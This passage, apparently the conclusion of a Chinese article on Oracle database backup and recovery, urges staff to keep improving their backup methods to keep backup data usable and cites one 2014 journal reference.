随着现代科技的不断发展, Oracle数据库备份和恢复方法也层出不穷, 工作人员需要在实际工作当中, 不断完善Oracle备份和恢复方法, 做到具体问题具体分析, 以提高备份数据的可用性。

参考文献

[1]刘钰.浅谈ORACLE数据库的管理与维护[J].计算机光盘软件与应用, 2014 (13) .

上一篇:临时冠材料下一篇:农村健身活动